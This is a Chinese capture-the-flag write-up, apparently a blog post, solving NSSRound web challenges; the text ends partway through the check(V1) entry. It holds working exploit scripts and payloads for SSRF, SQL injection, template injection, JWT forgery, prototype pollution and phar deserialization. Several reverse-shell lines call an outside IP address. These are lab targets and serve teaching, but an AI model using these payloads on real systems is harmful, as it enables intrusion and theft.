【Web】NSSRound#1-20 Basic 刷题记录(全)

这篇具有很好参考价值的文章主要介绍了【Web】NSSRound#1-20 Basic 刷题记录(全)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

[NSSRound#1 Basic]basic_check

[NSSRound#1 Basic]sql_by_sql 

[NSSCTF 2nd]php签到 

[NSSCTF 2nd]MyBox 

[NSSCTF 2nd]MyBox(revenge) 

[NSSCTF 2nd]MyHurricane 

[NSSCTF 2nd]MyJs 

[NSSRound#3 Team]This1sMysql 

[NSSRound#3 Team]path_by_path

[NSSRound#4 SWPU]1zweb

[NSSRound#4 SWPU]1zweb(revenge)

[NSSRound#4 SWPU]ez_rce

[NSSRound#6 Team]check(V1)

[NSSRound#6 Team]check(Revenge)

[NSSRound#7 Team]ec_RCE

[NSSRound#7 Team]0o0

[NSSRound#7 Team]ShadowFlag

[NSSRound#7 Team]新的博客

[NSSRound#8 Basic]MyPage

[NSSRound#8 Basic]MyDoor 

[NSSRound#8 Basic]Upload_gogoggo

[NSSRound#8 Basic]ez_node 

[NSSRound#13 Basic]flask?jwt?

[NSSRound#13 Basic]flask?jwt?(hard)

[NSSRound#13 Basic]ez_factors 

[NSSRound#13 Basic]MyWeb

[NSSRound#13 Basic]TimeTrcer 

[NSSRound#16 Basic]RCE但是没有完全RCE

[NSSRound#16 Basic]了解过PHP特性吗

[NSSRound#17 Basic]真·签到

[NSSRound#17 Basic]真的是文件上传吗?

[NSSRound#18 Basic]门酱想玩什么呢?

[NSSRound#18 Basic]Becomeroot

[NSSRound#18 Basic]easy_rw 

[NSSRound#20 Basic]真亦假,假亦真

[NSSRound#20 Basic]CSDN_To_PDF V1.2

[NSSRound#20 Basic]baby-Codeigniter 

[NSSRound#20 Basic]组合拳!


[NSSRound#1 Basic]basic_check

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

HTTP OPTIONS请求方法的主要作用是查询目标资源(URL)支持的通信选项。客户端可以通过发送OPTIONS请求来检查服务器支持哪些HTTP方法(如GET、POST、DELETE等),以及了解服务器的其他能力。OPTIONS请求可以被用于两种场景:

  1. 针对特定资源的查询:当OPTIONS请求发送到一个具体的URL上时,它询问的是那个特定资源支持哪些HTTP方法。这可以让客户端知道如何与该资源交互。

  2. 整站级别的能力查询:当OPTIONS请求的URL是星号(*)时,比如OPTIONS * HTTP/1.1,它表示的是对整个服务器的能力进行查询,而不是针对某个具体的资源。

postman发送请求,回包的响应头显示服务器支持PUT方法 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全 PUT创建一个新路由,写马

PUT请求如果URI不存在,则要求服务器根据请求创建资源,如果存在,服务器就接受请求内容,并修改URI资源的原始版本

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

访问/yjh.php,命令执行拿flag 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#1 Basic]sql_by_sql 

二次注入详解

先注册一个恶意用户

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 拿这个账号登录

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

修改密码

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 拿admin/12345成功登录,查询用户是注入点

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

直接sqlmap跑出来

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSCTF 2nd]php签到 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

关于pathinfo绕过,参考文章:

pathinfo两三事-安全客 - 安全资讯平台

贴出脚本

import requests as req


def upload(file_path, new_file_name, url):
    """
    上传一个文件到指定的URL,并在上传前修改文件名。

    :param file_path: 要上传的文件的本地路径。
    :param new_file_name: 上传后文件的新名称。
    :param url: 上传文件的目标URL。
    """
    # 以二进制方式读取文件内容
    with open(file_path, 'rb') as file_content:
        # 在files字典中使用新的文件名
        files = {'file': (new_file_name, file_content)}
        # 发送POST请求上传文件
        response = req.post(url, files=files)
        print(response.text)


if __name__ == "__main__":
    # 定义上传信息
    file_path_to_upload = "D:\CTF\码\yjh3.php"  # 修改为你的PHP文件路径
    new_file_name = 'yjh.php%2F%2e'  # 上传后的文件名
    upload_url = "http://node5.anna.nssctf.cn:28182/"  # 修改为实际的上传URL

    # 执行上传
    upload(file_path_to_upload, new_file_name, upload_url)

访问/yjh.php,读环境变量拿到flag 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSCTF 2nd]MyBox 

进来啥也没有,就给了个?url=xxx

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

经过尝试可以读本地文件

?url=file:///etc/passwd

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全 直接读环境变量偷鸡成功

?url=file:///proc/1/environ

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSCTF 2nd]MyBox(revenge) 

这次直接不给读环境变量了

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

?url=file:///app/app.py

读app.py源码

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全 这里后端对mybox://的处理就和gopher://一样,完全可以按照gopher来打

payload生成脚本

import urllib.parse
test ="""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80

"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'mybox://127.0.0.1:80/'+'_'+new
print(urllib.parse.quote(result))

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

?url=mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A

随便访问一个不存在的php文件后,回显报错内容,得知Server版本为Apache/2.4.49  

Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用-CSDN博客

payload生成脚本:

import urllib.parse
payload ="""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

echo;bash -c 'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'mybox://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

反弹shell拿到flag 

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSCTF 2nd]MyHurricane 

进来直接给了源码

import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
    for c in bl:
        if c in data:
            return False
    for chunk in data.split():
        for c in chunk:
            if not (31 < ord(c) < 128):
                return False
    return True

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        with open(__file__, 'r') as f:
            self.finish(f.read())
    def post(self):
        data = self.get_argument("ssti")
        if waf(data):
            with open('1.html', 'w') as f:
                f.write(f"""<html>
                        <head></head>
                        <body style="font-size: 30px;">{data}</body></html>
                        """)
                f.flush()
            self.render('1.html')
        else:
            self.finish('no no no')

if __name__ == "__main__":
    app = tornado.web.Application([
            (r"/", IndexHandler),
        ], compiled_template_cache=False)
    app.listen(827)
    tornado.ioloop.IOLoop.current().start()

就是要绕过waf实现tornado模板注入

ban掉了这些

'\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}'

 tornado模板注入-CSDN博客

可以直接读环境变量偷鸡

 payload:

ssti={% include /proc/self/environ %}

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

也可以反弹shell

payload:

__import__('os').system('bash -c \'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\'')
"""
&ssti={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&
"""

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSCTF 2nd]MyJs 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 先随便注册一个账号,拿到token

 ​​​【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

拿到的token是jwt

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

登录后跳转一个update的界面 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 随便改一下,回显不能修改uid

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

黑盒只能测到这了,扫一下目录

扫出来/source,访问,拿到源码

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
    name: 'session',
    secret: randomize('a', 16),
    resave: true,
    saveUninitialized: true
}))
.get('/', (req, res) => {
    if (req.session.data) {
        res.redirect('/home');
    } else {
        res.redirect('/login')
    }
})
.get('/source', (req, res) => {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})
.all('/register', (req, res) => {
    if (req.method == "GET") {
        res.render('register.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password} = req.body;
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."});
        }
        const secret = crypto.randomBytes(16).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret);
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
        res.render('register.ejs', {msg: "Token: " + token});
    }
})
.all('/home', (req, res) => {
    if (!req.session.data) {
        return res.redirect('/login');
    }
    res.render('home.ejs', {
        username: req.session.data.username||'NSS',
        count: req.session.data.count||'0',
        msg: null
    })
})
.post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body);
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})
.listen(827, '0.0.0.0')

意思就是说以nss账号登录就可在/update路由下打一个ejs原型链污染

如何以nss账号登录,关键在/login路由

  1. if (req.method == "POST") { ... }: 这是一个条件语句,用于检查请求的方法是否为 POST。只有当请求的方法为 POST 时才会执行后续的逻辑。

  2. const {username, password, token} = req.body;: 这一行从请求的 body 中提取出 username、password 和 token。这些数据通常是用户在登录表单中输入的信息。

  3. const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;: 这一行解析了 token,从中提取出 secretid。token 通常是用户在登录时生成的身份验证令牌。

  4. if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { ... }: 这个条件语句检查 sid 是否有效。如果 sid 未定义、为空或者不在有效范围内,则返回一个登录错误消息。

  5. const secret = global.secrets[sid];: 这一行从全局的 secrets 数组中根据 sid 获取对应的密钥。

  6. const user = jwt.verify(token, secret, {algorithm: "HS256"});: 这一行使用 jwt.verify 方法验证 token 的有效性,并解析出其中的用户信息。需要注意的是,这里的 secret 是用来验证 token 签名的密钥。

  7. if (username === user.username && password === user.password) { ... }: 这个条件语句检查用户输入的用户名和密码是否与 token 中解析出的用户信息匹配。如果匹配成功,则将用户信息存储在会话中,并重定向到 '/home' 页面。

参考文章

从一道CTF题看Node.JS中的JWT库误用 - SecPulse.COM | 安全脉搏

关于身份的验证是通过解析token进行的,这里用空算法伪造jwt即可(algorithm的误用)

exp

import jwt
import base64



# 构造JWT的payload部分
payload = {
    "username": "nss",
    "password": "123456",
    "secretid": [],  # 用具体的值替代列表
    "iat": 1712626361
}

# 生成JWT,对于algorithm='none',传递None作为密钥
token = jwt.encode(payload, None, algorithm="none")

# 为了展示,将JWT分割成三个部分,并单独打印payload部分的base64解码内容
header, payload, signature = token.split('.')
decoded_payload = base64.urlsafe_b64decode(payload + "==").decode()

print("Generated JWT:", token)
print("Decoded Payload:", decoded_payload)

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全以nss身份登录成功

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

在/update路由打ejs原型链污染

payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');var __tmp2"}}}

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

再访问/login,render触发rce,成功反弹shell,读环境变量拿flag 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#3 Team]This1sMysql 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 浅析MySQL恶意服务器读取文件原理

MySQL服务端恶意读取客户端文件漏洞 |

payload:

config[8]=true&mysql[host]=124.222.136.33&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=3306

 这里config[8]就是MYSQLI_OPT_LOCAL_INFILE

GitHub - allyshka/Rogue-MySql-Server: MySQL fake server for read files of connected clients

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

改一下filelist 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

读到function.php和class.php的源码 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

交给gpt去美化一下

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

class.php

<?php

class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;

    function __construct() {
        $this->file = $_FILES;
    }

    function __toString() {
        return $this->file["file"]["name"];
    }

    function __get($value) {
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
}

class Show {
    public $source;
    public $str;
    public $filter;

    public function __construct($file) {
        $this->source = $file;
        $this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
    }

    public function __toString() {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }

    public function __get($value) {
        $this->show();
        return $this->$value;
    }

    public function __set($key, $value) {
        $this->$key = $value;
    }

    public function show() {
        $filename = $this->schema . $this->source;
        include($filename);
    }

    public function __wakeup() {
        if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {
            $this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
        }
        if ($this->source !== 'default.jpg') {
            $this->source = 'default.jpg';
        }
    }
}

class Test {
    public $test1;
    public $test2;

    function __toString() {
        $str = $this->test2->test;
        return 'test';
    }

    function __get($value) {
        return $this->$value;
    }

    function __destruct() {
        echo $this->test1;
    }
}

?>

 function.php

<?php

$mysqlpath = isset($_GET['mysqlpath']) ? $_GET['mysqlpath'] : 'mysql.txt';

if (!file_exists($mysqlpath)) {
    die("NoNONo!");
} else {
    $arr = json_decode(file_get_contents($mysqlpath));
    
    if ($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)) {
        echo "connect success";
    } else {
        echo "connect fail";
    }
}

?>

 看到mysql.txt

访问/mysql.txt,拿到靶机数据库的相关信息

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

查询MySQL服务器的全局变量secure_file_priv的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILESELECT ... INTO OUTFILE语句的目录。 

import requests
import datetime

url="http://node4.anna.nssctf.cn:28297/"
path_dir=''

for i in range(1,50):
    low = 41
    high = 130
    mid = (high + low) // 2
    while (low < high):
        payload = f"select if((ascii(substr((select @@global.secure_file_priv),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)
        data={
            "config[3]":payload
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 41 or mid == 130):
        break
    path_dir += chr(mid)
    print('目录为:{}'.format(path_dir))

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

写马,这里config[3]是MYSQLI_INIT_COMMAND

payload:

config[3]=select '<?=eval($_POST[1])?>' into outfile '/nssctf/yjh.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全然后打反序列化

Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()

如果反序列化成功则会include "/nssctf/yjh.php" 

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
}
class Show{
    public $source;
    public $str;
    public $filter;
}
class Test{
    public $test1;
    public $test2;

}

$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="yjh.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;

$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

生成的phar包用CyberChef处理一下

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

这次用select xxx into dumpfile来写入 

Mysql注入中的outfile、dumpfile、load_file函数详解_Mysql_脚本之家

payload:

config[3]=select 0x3c3f706870205f5f48414c545f434f4d50494c455228293b203f3e0d0ab401000001000000110000000100000000007e0100004f3a343a2254657374223a323a7b733a353a227465737431223b4f3a343a2253686f77223a333a7b733a363a22736f75726365223b4e3b733a333a22737472223b613a323a7b693a303b4f3a363a2255706c6f6164223a343a7b733a343a2266696c65223b4e3b733a383a2266696c6573697a65223b4f3a343a2253686f77223a333a7b733a363a22736f75726365223b4e3b733a333a22737472223b4e3b733a363a2266696c746572223b4e3b7d733a343a2264617465223b733a373a22796a682e706870223b733a333a22746d70223b4f3a343a2254657374223a323a7b733a353a227465737431223b4e3b733a353a227465737432223b723a373b7d7d693a313b4f3a363a2255706c6f6164223a343a7b733a343a2266696c65223b4e3b733a383a2266696c6573697a65223b723a373b733a343a2264617465223b733a383a222f6e73736374662f223b733a333a22746d70223b723a31323b7d7d733a363a2266696c746572223b4e3b7d733a353a227465737432223b4e3b7d08000000746573742e7478740400000077e01466040000000c7e7fd8b60100000000000074657374526909bc912a64220a120c3460990db2db8167a60200000047424d42 into dumpfile '/nssctf/phar.png';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

然后function.php中的file_exists触发phar反序列化

?mysqlpath=phar:///nssctf/phar.png 
1=system('env');

读环境变量拿到flag 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#3 Team]path_by_path

进来直接拿到源码

const express = require('express');
const request = require('request');
const bodyParser = require('body-parser');
const { readFileSync } = require('fs');
const { env } = require('process');

const app = express();
const urlencodedParser = bodyParser.urlencoded({extended: false});

let whoami = {
    info: {
        name: env.NAME,
        bio: env.BIO,
    },
    other: {
        intro: env.INTRO
    }
}

app.get('/', (req, res) => {  
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(readFileSync(__filename));
})

app.post('/exec', urlencodedParser, (req, res) => {
    const path = req.body.path;
    const url = new URL(path, 'http://127.0.0.1:5000');
    request.get(url.toString(),{},(e, r, b) => {
        let resp = JSON.parse(b);
        whoami[resp.p][resp.f] = resp[resp.f] ? resp[resp.f] : env[resp.f];
    });
    res.send('');
})

app.get('/whoami', (req, res) => {
    let public = req.query.public;
    public = (public == 'info' || public == 'other') ? public : (whoami.public ? whoami.public : 'info');

    let field = req.query.field;
    field = (field == 'name' || field == 'bio' || field == 'intro') ? field : (whoami.field ? whoami.field : 'name');

    res.send(`The ${field} is ${whoami[public][field]}`);
})

process.on('uncaughtException',function(err){})


app.listen(8000, '0.0.0.0', () => {})
  1. 根路由(GET /:当访问根路由时,服务器返回当前文件的内容。这通过readFileSync(__filename)实现,其中__filename是当前运行脚本的路径。

  2. 执行路由(POST /exec:这个路由接收一个POST请求,包含一个path参数。这个参数被用来构建一个新的URL,然后向该URL发送GET请求。收到响应后,服务器尝试将响应体解析为JSON,并根据解析结果更新whoami对象的属性。这个过程存在潜在的安全风险,因为它允许外部请求影响服务器状态。

  3. 查询路由(GET /whoami:这个路由根据查询参数public(值为infoother)和field(值为namebiointro)返回相应的信息。如果没有指定,它会使用whoami对象中的默认值。

/exec路由写whoami对象属性

/whoami路由可以读 whoami对象属性

先起个flask服务器

from flask import Flask, request, jsonify

app = Flask(__name__)


# 用于执行的路由,模拟客户端想要访问的URL
@app.route('/', methods=['GET'])
def somepath():
    # 返回一个简单的JSON,模拟客户端代码中期待的响应格式
    return jsonify({
	"p": "info",
  "f": "FLAG"
})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337, debug=True)

这里目的是让whoami[info][FLAG]=env[FLAG],把环境变量的FLAG直接写入whoami对象属性

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 再修改flask源码返回的json

from flask import Flask, request, jsonify

app = Flask(__name__)


# 用于执行的路由,模拟客户端想要访问的URL
@app.route('/', methods=['GET'])
def somepath():
    # 返回一个简单的JSON,模拟客户端代码中期待的响应格式
    return jsonify({
	"p": "__proto__",
  "f": "field",
  "field": "FLAG"
})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337, debug=True)

这里的目的是让whoami.field=FLAG

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

最终payload:

/whoami?public=info&field=Z3r4y
The ${field} is ${whoami[public][field]}

补全就是 The FLAG is ${whoami[info][FLAG]} => The FLAG is NSSCTF{xxx}

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#4 SWPU]1zweb

可以直接读靶机本地文件

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

偷鸡环境变量权限不够,直接读/flag

file=../../../../../../flag&submit=

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#4 SWPU]1zweb(revenge)

不能直接读/flag了

先读index.php

file=/var/www/html/index.php&submit=

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

拿到源码

给了一个恶意类,然后file_get_contents可以触发phar反序列化

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    if (preg_match("/flag/", $file)) {
    	die("nonono");
    }
    echo file_get_contents($file);
}

 同理读/var/www/html/upload.php

<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

绕过wakeup不解释,因为修改了文件内容所以要重写下签名,绕过_HALT_COMPILE需要进行gzip压缩

脚本

<?php
class LoveNss{
    public $ljt = "Misc";
    public $dky = "Re";
    public $cmd = "system('cat /f*');";
}
$a = new LoveNss();
$a->ljt = "Misc";
$a->dky = "Re";

$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setStub('GIF'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','1');
$phar->stopBuffering();
import gzip
import hashlib
with open("exp.phar",'rb') as f:
    f = f.read()
s = f[:-28]
s = s.replace(b'3:{', b'4:{')
h = f[-8:]
newf = s + hashlib.sha1(s).digest() + h
print(newf)
newf = gzip.compress(newf)
with open('exp.png','wb') as f2:
    f2.write(newf)

先上传exp.png

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

再触发phar反序列化 

phar:// 跟zip: //协议都可以访问zip格式压缩包内容

payload:

file=phar:///var/www/html/upload/exp.png&submit=

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#4 SWPU]ez_rce

信息搜集啥也没有,抓包看响应头,Apache/2.4.49

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全历史漏洞:Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用-CSDN博客 

echo;ls /

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

echo;grep -r "NSS" /flag_is_here

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#6 Team]check(V1)

进来给到源码

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('/tmp/clean.sh')
    return 'success'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

上传路由/upload

  • 处理文件上传请求。首先检查是否有文件被上传,文件名是否为空,以及文件类型是否被允许。同时检查文件名中不包含../来防止目录遍历攻击。
  • 如果检查通过,文件将被保存到UPLOAD_FOLDER指定的目录下。
  • 使用tarfile模块尝试打开保存的tar文件并解压到上传目录。如果操作失败,返回错误信息。
  • 最后,上传的tar文件被删除,只保留解压出来的文件或目录。
  • 代码中尝试防范了目录遍历攻击通过检查文件名中是否包含../
  • 限制了上传文件类型为tar文件,降低了恶意文件上传的风险。

 既然涉及到tar了,那不直接软连接

